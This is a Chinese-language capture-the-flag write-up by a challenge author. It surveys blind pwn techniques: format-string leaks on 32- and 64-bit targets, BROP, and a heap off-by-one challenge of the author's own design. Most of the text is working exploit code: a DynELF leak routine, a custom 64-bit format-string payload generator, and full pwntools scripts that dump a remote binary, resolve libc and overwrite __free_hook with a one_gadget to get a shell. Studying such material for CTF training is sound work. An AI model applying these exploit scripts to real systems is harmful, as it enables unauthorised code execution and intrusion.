blind-pwn总结+创新前言 blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...
其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.
所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可
fmt32 目录为fmt32
格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.
这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间
第一种做法:
- 测试程序正常功能
- 找到格式化字符串漏洞
- 确定偏移--offset-step1.py
- dump文件--dump-step2.py,pwn1bin
- 利用got表地址,泄露出libc
- getshell--bin.exp.py
在确定偏移的过程中,需要小心一个问题
就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据
blind-pwn系列总结+创新
dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法
blind-pwn系列总结+创新
第二种做法:--dyn.exp.py
思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell
这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案
核心代码如下
[pre]def leak(addr): result = ''
while(len(result)< 4):
sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0')
sh.recvuntil('Repeater:')
result +=sh.recvuntil('#\n', drop=True) + '\0'
log.info(hex(addr) + ' => ' + hex(u32(result[:4])))
return result[:4]
libc = DynELF(leak, 0x8048000)
libc_addr = u32(leak(0x804a010)) - 0xd4350
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))
[/pre]
fmt64 目录为fmt64
64位其实和32位的区别并不大,思路也是同样的
- 测试程序正常功能
- 找到格式化字符串漏洞
- 确定偏移--offset-step1.py
- dump文件--64dump.py,stilltestbin
- 利用got表地址,泄露出libc
- getshell--64bin.exp.py
第一个问题,dump下来的文件ida是无法直接分析
载入的时候需要设置一下...
blind-pwn系列总结+创新
同时第二个问题需要注意的是
64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址
[pre]def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'): config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)
fmtCount = 0
payload_forward = ""
key_toadd = []
key_offset_fmtCount = []
for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)
if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)
numbwritten += to_add
what >>= decalage
fmtCount += 1
len1 = len(payload_forward)
key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount)
x_add = 0
y_add = 0
while True:
x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)
for i in range(len(key_temp)):
key_temp = key_offset_fmtCount + x_add
payload_temp = ""
for i in range(0,number):
if key_toadd != 0:
payload_temp += "%{}c".format(key_toadd)
payload_temp += "%{}${}n".format(key_temp, formatz)
len2 = len(payload_temp)
xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
[/pre]
这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿
brop 文件目录为brop
brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置
brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路
思路主要是这样子
- 暴力破解-获取偏移--stack_overflow_length.py
- 获取stop_gadget--main函数地址--stop_gadget.py
- 获取brop_gadget--libc_csu_init--brop_gadget.py
- 获取puts_plt--puts_plt.py
- dump文件--leak_dump.py,code
- getshell--exp.py
那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间
举个例子:
这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
blind-pwn系列总结+创新
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
创新题-堆区利用offbyone-blindpwn 文件目录为offbyone
发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题
题目分析
首先测试程序的基本功能,分析结构,尝试dump内存
首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf
我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题
盲打小贴士:
为什么读取字符串的函数是scanf,通过,测试,输入特殊符号,不会显示,直接中断,所以是scanf
然后发现输入并没有限制长度...所以这里,可以利用上这种漏洞
利用这个漏洞,泄露出内存
泄露内存的时候,测试是否开启了空间地址随机化,然后发现没有,如果有的话,那就使用mmap申请大内存空间的解法...
echo 1 > /proc/sys/kernel/randomize_va_space 代表pie部分开启(heap基地址不会开启pie),所以可以基于heap base addr泄露出程序的基地址
泄露出内存,dump出文件
找到一个got表地址,泄露出libc基地址
然后考虑使用one_gadget去覆盖free_hook或者malloc_hook
dump脚本编写
如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
通过单字节溢出,以及精心伪造一个堆chunk结构,实现任意地址泄露内存
偏移量这里解释一下,由于一个chunk头部都会有0x10个字节用来存放pre_size和size,所以偏移量是0x1000-0x10
[pre]#! /usr/bin/env python # -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'#critical/debug
p = process("./buy")
f = open("buybin", "ab+")
#f = open("64weiba", "ab+")
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump(index):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
#addr = addr.ljust(8,'\x00')
#addr = u64(addr)
return addr
begin = 0x400000
offset = 0
i=0
while True:#i<13:#True:#
addr = begin + offset
try:
io = process("./buy")
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
first_heap_addr = displayall()
print ' first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size>
ljust_offset = 4096 - 16
print ' ljust_offset is ' + hex(ljust_offset)
payload_des_dump = ljust_offset *'c' + p64(12) + p64(addr) + p64(12) + p64(addr)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_des_dump)
namechange("a"*32)
#gdb.attach(io)
info = displayall_getdump(0)
print ' info is ' + info
io.close()
except EOFError:
print "offset is " + hex(offset)
break
if len(info)==0:
print "info is null"
offset += 1
f.write('\x00')
else:
info += "\x00"
offset += len(info)
f.write(info)
f.flush()
i = i + 1
print "offset is " + str(offset)
f.close()
p.close()
#'''
[/pre]
dump出来的程序,需要找到一个函数的got表地址就行了,这样就可以计算出对应的一个偏移
泄露出来的文件还是不可以被反汇编,但是可以找到很多汇编代码
然后通过去寻找一个函数的plt地址,最好是找puts或者printf,因为题目显示字符串一直在用这两个函数,所以这两个函数使用次数最多,所以肯定比较好分辨
找到puts_got
泄露libc
其实和之前的代码一样,主要的任务就是,但是地址覆盖写在puts_got的地址
[pre]#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
#io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
addr = addr.ljust(8,'\x00')
addr = u64(addr)
#io.recvuntil("des address is ")
return addr
def make_empty(index):
io.recvuntil("Your choice:")
io.sendline("5")
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("The index is ")
io.sendline(str(index))
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print ' first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size>
offset = 4096 - 16
print ' offset is ' + hex(offset)
puts_got = 0x603028
printf_got = 0x603040
payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print ' puts_addr is ' + hex(puts_addr)
#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print ' freehook_addr is ' + hex(freehook_addr)
print ' system_addr is ' + hex(system_addr)
print ' binsh_addr is ' + hex(binsh_addr)
one_gadget = libc_base + 0x4526a
print ' one_gadget is ' + hex(one_gadget)
change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(system_addr),p64(system_addr))
make_empty(1)
io.interactive()
[/pre]
那么这里,其实我已经给出是错误的exp,但是在测试过程中,可以把one_gadget改成system_addr,这样子,只要能够出现sh报错,就能知道可以选择哪个libc库
我这里是[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
获取one_gadget
安装one_gadget
[pre]su root apt-get install ruby
apt-get install gem
gem install one_gadget
[/pre]
获取libc库的onegadget
找到libcsearch的安装文件夹,找到对应id的libc库
然后执行,命令
[pre]one_gadget libc6_2.23-0ubuntu10_amd64.so 0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
[/pre]
上面4个,第二个成功了...
exp
[pre]#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
#io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
addr = addr.ljust(8,'\x00')
addr = u64(addr)
#io.recvuntil("des address is ")
return addr
def make_empty(index):
io.recvuntil("Your choice:")
io.sendline("5")
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("The index is ")
io.sendline(str(index))
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print ' first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size>
offset = 4096 - 16
print ' offset is ' + hex(offset)
puts_got = 0x603028
printf_got = 0x603040
payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print ' puts_addr is ' + hex(puts_addr)
#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print ' freehook_addr is ' + hex(freehook_addr)
print ' system_addr is ' + hex(system_addr)
print ' binsh_addr is ' + hex(binsh_addr)
''' onegadget
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4526a
print ' one_gadget is ' + hex(one_gadget)
change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(one_gadget),p64(system_addr))
make_empty(1)
io.interactive()
[/pre]
总结 blind pwn的核心是实现泄露内存,从而dump出整个文件
而漏洞可利用在blind pwn上的条件为:
- brop: 必须的地址复用,栈区溢出,read函数
- fmt: 格式化字符串漏洞,read函数
- offbyone: 堆区可控大小,单字节溢出,read函数,变量的结构(结构体和全局变量)
很开心能够通过自创,将blindpwn整理为一个系列,相信未来还有出现更多这类赛题
|